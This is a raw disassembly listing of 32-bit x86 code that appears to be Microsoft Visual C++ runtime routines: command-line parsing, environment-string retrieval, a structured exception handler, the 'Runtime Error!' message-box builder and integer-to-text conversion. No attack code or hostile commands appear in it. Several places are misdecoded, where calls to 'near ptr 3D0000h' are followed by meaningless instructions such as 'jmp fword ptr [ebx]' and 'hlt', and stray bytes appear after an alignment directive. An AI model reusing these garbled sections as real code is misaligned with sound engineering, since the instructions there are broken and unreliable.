loc_42C65F:				; CODE XREF: sub_42C3B0+28Dj
		mov	[ebp+var_8], 0


loc_42C666:				; CODE XREF: sub_42C3B0:loc_42C65Dj
		xor	edx, edx
		cmp	[ebp+var_14], 0
		setz	dl
		mov	[ebp+var_14], edx


loc_42C672:				; CODE XREF: sub_42C3B0+287j
		mov	eax, [ebp+var_10]
		shr	eax, 1
		mov	[ebp+var_10], eax


loc_42C67A:				; CODE XREF: sub_42C3B0+277j
					; sub_42C3B0+2FCj
		mov	ecx, [ebp+var_10]
		mov	edx, [ebp+var_10]
		sub	edx, 1
		mov	[ebp+var_10], edx
		test	ecx, ecx
		jz	short loc_42C6AE
		cmp	[ebp+arg_8], 0
		jz	short loc_42C69F
		mov	eax, [ebp+arg_8]
		mov	byte ptr [eax],	5Ch
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx


loc_42C69F:				; CODE XREF: sub_42C3B0+2DEj
		mov	edx, [ebp+arg_10]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		jmp	short loc_42C67A
; ---------------------------------------------------------------------------


loc_42C6AE:				; CODE XREF: sub_42C3B0+2D8j
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_42C6D4
		cmp	[ebp+var_14], 0
		jnz	short loc_42C6D9
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 20h
		jz	short loc_42C6D4
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 9
		jnz	short loc_42C6D9


loc_42C6D4:				; CODE XREF: sub_42C3B0+306j
					; sub_42C3B0+317j
		jmp	loc_42C784
; ---------------------------------------------------------------------------


loc_42C6D9:				; CODE XREF: sub_42C3B0+30Cj
					; sub_42C3B0+322j
		cmp	[ebp+var_8], 0
		jz	loc_42C776
		cmp	[ebp+arg_8], 0
		jz	short loc_42C73D
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		xor	ecx, ecx
		mov	cl, ds:byte_4EEF41[eax]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_42C728
		mov	edx, [ebp+arg_8]
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_8]
		add	edx, 1
		mov	[ebp+arg_8], edx
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_10]
		mov	[eax], edx


loc_42C728:				; CODE XREF: sub_42C3B0+34Dj
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx
		jmp	short loc_42C769
; ---------------------------------------------------------------------------


loc_42C73D:				; CODE XREF: sub_42C3B0+337j
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		xor	ecx, ecx
		mov	cl, ds:byte_4EEF41[eax]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_42C769
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_10]
		mov	[edx], ecx


loc_42C769:				; CODE XREF: sub_42C3B0+38Bj
					; sub_42C3B0+3A1j
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_10]
		mov	[edx], ecx


loc_42C776:				; CODE XREF: sub_42C3B0+32Dj
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	loc_42C5F1
; ---------------------------------------------------------------------------


loc_42C784:				; CODE XREF: sub_42C3B0:loc_42C6D4j
		cmp	[ebp+arg_8], 0
		jz	short loc_42C799
		mov	ecx, [ebp+arg_8]
		mov	byte ptr [ecx],	0
		mov	edx, [ebp+arg_8]
		add	edx, 1
		mov	[ebp+arg_8], edx


loc_42C799:				; CODE XREF: sub_42C3B0+3D8j
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_10]
		mov	[edx], ecx
		jmp	loc_42C593
; ---------------------------------------------------------------------------


loc_42C7AB:				; CODE XREF: sub_42C3B0+218j
		cmp	[ebp+arg_4], 0
		jz	short loc_42C7C3
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+arg_4]
		add	ecx, 4
		mov	[ebp+arg_4], ecx


loc_42C7C3:				; CODE XREF: sub_42C3B0+3FFj
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		mov	esp, ebp
		pop	ebp
		retn
sub_42C3B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C7E0	proc near		; CODE XREF: seg000:00420BEEp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[ebp+var_14], 0
		mov	[ebp+var_18], 0
		cmp	ds:dword_4EEB90, 0
		jnz	short loc_42C83A
		call	ds:dword_4F12DC	; GetEnvironmentStringsW
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jz	short loc_42C818
		mov	ds:dword_4EEB90, 1
		jmp	short loc_42C83A
; ---------------------------------------------------------------------------


loc_42C818:				; CODE XREF: sub_42C7E0+2Aj
		call	ds:dword_4F12E0	; GetEnvironmentStringsA
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jz	short loc_42C833
		mov	ds:dword_4EEB90, 2
		jmp	short loc_42C83A
; ---------------------------------------------------------------------------


loc_42C833:				; CODE XREF: sub_42C7E0+45j
		xor	eax, eax
		jmp	loc_42C9F5
; ---------------------------------------------------------------------------


loc_42C83A:				; CODE XREF: sub_42C7E0+1Bj
					; sub_42C7E0+36j ...
		cmp	ds:dword_4EEB90, 1
		jnz	loc_42C93E
		cmp	[ebp+var_14], 0
		jnz	short loc_42C863
		call	ds:dword_4F12DC	; GetEnvironmentStringsW
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_42C863
		xor	eax, eax
		jmp	loc_42C9F5
; ---------------------------------------------------------------------------


loc_42C863:				; CODE XREF: sub_42C7E0+6Bj
					; sub_42C7E0+7Aj
		mov	eax, [ebp+var_14]
		mov	[ebp+var_8], eax


loc_42C869:				; CODE XREF: sub_42C7E0:loc_42C893j
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dx, [ecx]
		test	edx, edx
		jz	short loc_42C895
		mov	eax, [ebp+var_8]
		add	eax, 2
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dx, [ecx]
		test	edx, edx
		jnz	short loc_42C893
		mov	eax, [ebp+var_8]
		add	eax, 2
		mov	[ebp+var_8], eax


loc_42C893:				; CODE XREF: sub_42C7E0+A8j
		jmp	short loc_42C869
; ---------------------------------------------------------------------------


loc_42C895:				; CODE XREF: sub_42C7E0+93j
		mov	ecx, [ebp+var_8]
		sub	ecx, [ebp+var_14]
		sar	ecx, 1
		add	ecx, 1
		mov	[ebp+var_4], ecx
		push	0
		push	0
		push	0
		push	0
		mov	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+var_14]
		push	eax
		push	0
		push	0
		call	ds:dword_4F1384	; WideCharToMultiByte
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_42C8E4
		push	64h
		push	offset dword_43A2E0
		push	2
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_41AE60
		add	esp, 10h
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_42C8F5


loc_42C8E4:				; CODE XREF: sub_42C7E0+E4j
		mov	edx, [ebp+var_14]
		push	edx
		call	ds:dword_4F12E4	; FreeEnvironmentStringsW
		xor	eax, eax
		jmp	loc_42C9F5
; ---------------------------------------------------------------------------


loc_42C8F5:				; CODE XREF: sub_42C7E0+102j
		push	0
		push	0
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+var_18]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+var_14]
		push	eax
		push	0
		push	0
		call	ds:dword_4F1384	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_42C92C
		push	2
		mov	ecx, [ebp+var_18]
		push	ecx
		call	sub_41B8F0
		add	esp, 8
		mov	[ebp+var_18], 0


loc_42C92C:				; CODE XREF: sub_42C7E0+135j
		mov	edx, [ebp+var_14]
		push	edx
		call	ds:dword_4F12E4	; FreeEnvironmentStringsW
		mov	eax, [ebp+var_18]
		jmp	loc_42C9F5
; ---------------------------------------------------------------------------


loc_42C93E:				; CODE XREF: sub_42C7E0+61j
		cmp	ds:dword_4EEB90, 2
		jnz	loc_42C9F3
		cmp	[ebp+var_18], 0
		jnz	short loc_42C967
		call	ds:dword_4F12E0	; GetEnvironmentStringsA
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_42C967
		xor	eax, eax
		jmp	loc_42C9F5
; ---------------------------------------------------------------------------


loc_42C967:				; CODE XREF: sub_42C7E0+16Fj
					; sub_42C7E0+17Ej
		mov	eax, [ebp+var_18]
		mov	[ebp+var_C], eax


loc_42C96D:				; CODE XREF: sub_42C7E0:loc_42C993j
		mov	ecx, [ebp+var_C]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_42C995
		mov	eax, [ebp+var_C]


loc_42C97A:				; CODE XREF: sub_42C7E0+20Dj
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_42C993
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax


loc_42C993:				; CODE XREF: sub_42C7E0+1A8j
		jmp	short loc_42C96D
; ---------------------------------------------------------------------------


loc_42C995:				; CODE XREF: sub_42C7E0+195j
		mov	ecx, [ebp+var_C]
		sub	ecx, [ebp+var_18]
		add	ecx, 1
		mov	[ebp+var_10], ecx
		push	8Fh
		push	offset dword_43A2E0
		push	2
		mov	edx, [ebp+var_10]
		push	edx
		call	sub_41AE60
		add	esp, 10h
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_42C9D0
		mov	eax, [ebp+var_18]
		push	eax
		call	near ptr 3D0000h
		add	eax, 25EBC033h


loc_42C9D0:				; CODE XREF: sub_42C7E0+1E0j
		mov	ecx, [ebp+var_10]
		push	ecx
		mov	edx, [ebp+var_18]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_41E840
		add	esp, 0Ch
		mov	ecx, [ebp+var_18]
		push	ecx
		call	near ptr 3D0000h
		jg	short loc_42C97A
		inc	ebp
		hlt
; ---------------------------------------------------------------------------
		jmp	short loc_42C9F5
; ---------------------------------------------------------------------------


loc_42C9F3:				; CODE XREF: sub_42C7E0+165j
		xor	eax, eax


loc_42C9F5:				; CODE XREF: sub_42C7E0+55j
					; sub_42C7E0+7Ej ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42C7E0	endp

; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CA04	proc near		; DATA XREF: seg000:00420B3Ao
					; sub_42A410+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_42CAA4
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_42CA37:				; CODE XREF: sub_42CA04+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42CA9D
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_42CA8B
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_42CA8B
		js	short loc_42CA96
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41F890
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41F8D2
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41F966
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_42CA8B:				; CODE XREF: sub_42CA04+40j
					; sub_42CA04+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_42CA37
; ---------------------------------------------------------------------------


loc_42CA96:				; CODE XREF: sub_42CA04+54j
		mov	eax, 0
		jmp	short loc_42CAB9
; ---------------------------------------------------------------------------


loc_42CA9D:				; CODE XREF: sub_42CA04+36j
		mov	eax, 1
		jmp	short loc_42CAB9
; ---------------------------------------------------------------------------


loc_42CAA4:				; CODE XREF: sub_42CA04+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41F8D2
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_42CAB9:				; CODE XREF: sub_42CA04+97j
					; sub_42CA04+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42CA04	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41F8D2
		add	esp, 8
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CAE0	proc near		; CODE XREF: sub_420CA0+Cp
					; sub_420CD0+Cp
		push	ebp
		mov	ebp, esp
		cmp	ds:dword_4EE9DC, 1
		jz	short loc_42CAFE
		cmp	ds:dword_4EE9DC, 0
		jnz	short loc_42CB27
		cmp	ds:dword_44FD34, 1
		jnz	short loc_42CB27


loc_42CAFE:				; CODE XREF: sub_42CAE0+Aj
		push	0FCh
		call	sub_42CB30
		add	esp, 4
		cmp	ds:dword_4EEB94, 0
		jz	short loc_42CB1A
		call	ds:dword_4EEB94


loc_42CB1A:				; CODE XREF: sub_42CAE0+32j
		push	0FFh
		call	sub_42CB30
		add	esp, 4


loc_42CB27:				; CODE XREF: sub_42CAE0+13j
					; sub_42CAE0+1Cj
		pop	ebp
		retn
sub_42CAE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CB30	proc near		; CODE XREF: sub_420CA0+15p
					; sub_420CD0+15p ...

var_1B0		= byte ptr -1B0h
var_110		= byte ptr -110h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], 0
		jmp	short loc_42CB4E
; ---------------------------------------------------------------------------


loc_42CB45:				; CODE XREF: sub_42CB30:loc_42CB65j
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_42CB4E:				; CODE XREF: sub_42CB30+13j
		cmp	[ebp+var_8], 12h
		jnb	short loc_42CB67
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		cmp	edx, ds:dword_450600[ecx*8]
		jnz	short loc_42CB65
		jmp	short loc_42CB67
; ---------------------------------------------------------------------------


loc_42CB65:				; CODE XREF: sub_42CB30+31j
		jmp	short loc_42CB45
; ---------------------------------------------------------------------------


loc_42CB67:				; CODE XREF: sub_42CB30+22j
					; sub_42CB30+33j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ds:dword_450600[eax*8]
		jnz	loc_42CCE8
		cmp	[ebp+arg_0], 0FCh
		jz	short loc_42CBA4
		mov	edx, [ebp+var_8]
		mov	eax, ds:off_450604[edx*8]
		push	eax
		push	0
		push	0
		push	0
		push	1
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42CBA4
		int	3		; Trap to Debugger


loc_42CBA4:				; CODE XREF: sub_42CB30+51j
					; sub_42CB30+71j
		cmp	ds:dword_4EE9DC, 1
		jz	short loc_42CBBF
		cmp	ds:dword_4EE9DC, 0
		jnz	short loc_42CBF8
		cmp	ds:dword_44FD34, 1
		jnz	short loc_42CBF8


loc_42CBBF:				; CODE XREF: sub_42CB30+7Bj
		push	0
		lea	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, ds:off_450604[edx*8]
		push	eax
		call	sub_41AC70
		add	esp, 4
		push	eax
		mov	ecx, [ebp+var_8]
		mov	edx, ds:off_450604[ecx*8]
		push	edx
		push	0FFFFFFF4h
		call	near ptr 3D0000h
		and	edx, [eax-18h]
		push	cs
		xor	al, 0FAh
		jmp	fword ptr [ebx]
; ---------------------------------------------------------------------------
		jmp	loc_42CCE8
; ---------------------------------------------------------------------------


loc_42CBF8:				; CODE XREF: sub_42CB30+84j
					; sub_42CB30+8Dj
		cmp	[ebp+arg_0], 0FCh
		jz	loc_42CCE8
		push	104h
		lea	eax, [ebp+var_110]
		push	eax
		push	0
		call	near ptr 3D0000h
		dec	ecx
		test	eax, eax
		jnz	short loc_42CC31
		push	offset aProgramNameUnk ; "<program name	unknown>"
		lea	ecx, [ebp+var_110]
		push	ecx
		call	sub_41E550
		add	esp, 8


loc_42CC31:				; CODE XREF: sub_42CB30+EBj
		lea	edx, [ebp+var_110]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_41AC70
		add	esp, 4
		add	eax, 1
		cmp	eax, 3Ch
		jbe	short loc_42CC7A
		lea	ecx, [ebp+var_110]
		push	ecx
		call	sub_41AC70
		add	esp, 4
		mov	edx, [ebp+var_C]
		lea	eax, [edx+eax-3Bh]
		mov	[ebp+var_C], eax
		push	3
		push	offset a___	; "..."
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_41D800
		add	esp, 0Ch


loc_42CC7A:				; CODE XREF: sub_42CB30+11Cj
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		lea	edx, [ebp+var_1B0]
		push	edx
		call	sub_41E550
		add	esp, 8
		mov	eax, [ebp+var_C]
		push	eax
		lea	ecx, [ebp+var_1B0]
		push	ecx
		call	sub_41E560
		add	esp, 8
		push	offset asc_439EA0 ; "\n\n"
		lea	edx, [ebp+var_1B0]
		push	edx
		call	sub_41E560
		add	esp, 8
		mov	eax, [ebp+var_8]
		mov	ecx, ds:off_450604[eax*8]
		push	ecx
		lea	edx, [ebp+var_1B0]
		push	edx
		call	sub_41E560
		add	esp, 8
		push	12010h
		push	offset aMicrosoftVis_0 ; "Microsoft Visual C++ Runtime Library"
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_42D5C0
		add	esp, 0Ch


loc_42CCE8:				; CODE XREF: sub_42CB30+44j
					; sub_42CB30+C3j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42CB30	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	dword ptr [ebp-4], 0
		jmp	short loc_42CD06
; ---------------------------------------------------------------------------


loc_42CCFD:				; CODE XREF: seg000:loc_42CD1Dj
		mov	eax, [ebp-4]
		add	eax, 1
		mov	[ebp-4], eax


loc_42CD06:				; CODE XREF: seg000:0042CCFBj
		cmp	dword ptr [ebp-4], 12h
		jnb	short loc_42CD1F
		mov	ecx, [ebp-4]
		mov	edx, [ebp+8]
		cmp	edx, ds:dword_450600[ecx*8]
		jnz	short loc_42CD1D
		jmp	short loc_42CD1F
; ---------------------------------------------------------------------------


loc_42CD1D:				; CODE XREF: seg000:0042CD19j
		jmp	short loc_42CCFD
; ---------------------------------------------------------------------------


loc_42CD1F:				; CODE XREF: seg000:0042CD0Aj
					; seg000:0042CD1Bj
		mov	eax, [ebp-4]
		mov	ecx, [ebp+8]
		cmp	ecx, ds:dword_450600[eax*8]
		jnz	short loc_42CD3A
		mov	edx, [ebp-4]
		mov	eax, ds:off_450604[edx*8]
		jmp	short loc_42CD3C
; ---------------------------------------------------------------------------


loc_42CD3A:				; CODE XREF: seg000:0042CD2Cj
		xor	eax, eax


loc_42CD3C:				; CODE XREF: seg000:0042CD38j
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CD40	proc near		; CODE XREF: seg000:0042112Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0Ah
		jnz	short loc_42CD67
		cmp	[ebp+arg_0], 0
		jge	short loc_42CD67
		push	1
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42CD90
		add	esp, 10h
		jmp	short loc_42CD7D
; ---------------------------------------------------------------------------


loc_42CD67:				; CODE XREF: sub_42CD40+7j
					; sub_42CD40+Dj
		push	0
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42CD90
		add	esp, 10h


loc_42CD7D:				; CODE XREF: sub_42CD40+25j
		mov	eax, [ebp+arg_4]
		pop	ebp
		retn
sub_42CD40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CD90	proc near		; CODE XREF: sub_42CD40+1Dp
					; sub_42CD40+35p ...

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_C], 0
		jz	short loc_42CDB9
		mov	ecx, [ebp+var_4]
		mov	byte ptr [ecx],	2Dh
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_0]
		neg	eax
		mov	[ebp+arg_0], eax


loc_42CDB9:				; CODE XREF: sub_42CD90+10j
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_8], ecx


loc_42CDBF:				; CODE XREF: sub_42CD90+79j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	[ebp+arg_8]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	[ebp+arg_8]
		mov	[ebp+arg_0], eax
		cmp	[ebp+var_C], 9
		jbe	short loc_42CDF1
		mov	edx, [ebp+var_C]
		add	edx, 57h
		mov	eax, [ebp+var_4]
		mov	[eax], dl
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_42CE05
; ---------------------------------------------------------------------------


loc_42CDF1:				; CODE XREF: sub_42CD90+49j
		mov	edx, [ebp+var_C]
		add	edx, 30h
		mov	eax, [ebp+var_4]
		mov	[eax], dl
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_42CE05:				; CODE XREF: sub_42CD90+5Fj
		cmp	[ebp+arg_0], 0
		ja	short loc_42CDBF
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	0
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax


loc_42CE1A:				; CODE XREF: sub_42CD90+BCj
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[ebp+var_10], dl
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+var_8]
		mov	cl, [ebp+var_10]
		mov	[eax], cl
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		cmp	ecx, [ebp+var_4]
		jb	short loc_42CE1A
		mov	esp, ebp
		pop	ebp
		retn
sub_42CD90	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword ptr [ebp+10h], 0Ah
		jnz	short loc_42CE79
		cmp	dword ptr [ebp+8], 0
		jge	short loc_42CE79
		mov	dword ptr [ebp-4], 1
		jmp	short loc_42CE80
; ---------------------------------------------------------------------------


loc_42CE79:				; CODE XREF: seg000:0042CE68j
					; seg000:0042CE6Ej
		mov	dword ptr [ebp-4], 0


loc_42CE80:				; CODE XREF: seg000:0042CE77j
		mov	eax, [ebp-4]
		push	eax
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_42CD90
		add	esp, 10h
		mov	eax, [ebp+0Ch]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0
		mov	eax, [ebp+10h]
		push	eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	sub_42CD90
		add	esp, 10h
		mov	eax, [ebp+0Ch]
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword ptr [ebp+14h], 0Ah
		jnz	short loc_42CEE1
		cmp	dword ptr [ebp+0Ch], 0
		jg	short loc_42CEE1
		jl	short loc_42CED8
		cmp	dword ptr [ebp+8], 0
		jnb	short loc_42CEE1


loc_42CED8:				; CODE XREF: seg000:0042CED0j
		mov	dword ptr [ebp-4], 1
		jmp	short loc_42CEE8
; ---------------------------------------------------------------------------


loc_42CEE1:				; CODE XREF: seg000:0042CEC8j
					; seg000:0042CECEj ...
		mov	dword ptr [ebp-4], 0


loc_42CEE8:				; CODE XREF: seg000:0042CEDFj
		mov	eax, [ebp-4]
		push	eax
		mov	ecx, [ebp+14h]
		push	ecx
		mov	edx, [ebp+10h]
		push	edx
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_42CF10
		mov	eax, [ebp+10h]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CF10	proc near		; CODE XREF: seg000:0042CEFCp
					; seg000:0042D025p

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_10], 0
		jz	short loc_42CF44
		mov	ecx, [ebp+var_4]
		mov	byte ptr [ecx],	2Dh
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_0]
		neg	eax
		mov	ecx, [ebp+arg_4]
		adc	ecx, 0
		neg	ecx
		mov	[ebp+arg_0], eax
		mov	[ebp+arg_4], ecx


loc_42CF44:				; CODE XREF: sub_42CF10+10j
		mov	edx, [ebp+var_4]
		mov	[ebp+var_8], edx


loc_42CF4A:				; CODE XREF: sub_42CF10+9Fj
					; sub_42CF10+A7j
		mov	eax, [ebp+arg_C]
		xor	ecx, ecx
		push	ecx
		push	eax
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_420430
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+arg_C]
		xor	edx, edx
		push	edx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4203C0
		mov	[ebp+arg_0], eax
		mov	[ebp+arg_4], edx
		cmp	[ebp+var_C], 9
		jbe	short loc_42CF97
		mov	edx, [ebp+var_C]
		add	edx, 57h
		mov	eax, [ebp+var_4]
		mov	[eax], dl
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_42CFAB
; ---------------------------------------------------------------------------


loc_42CF97:				; CODE XREF: sub_42CF10+6Fj
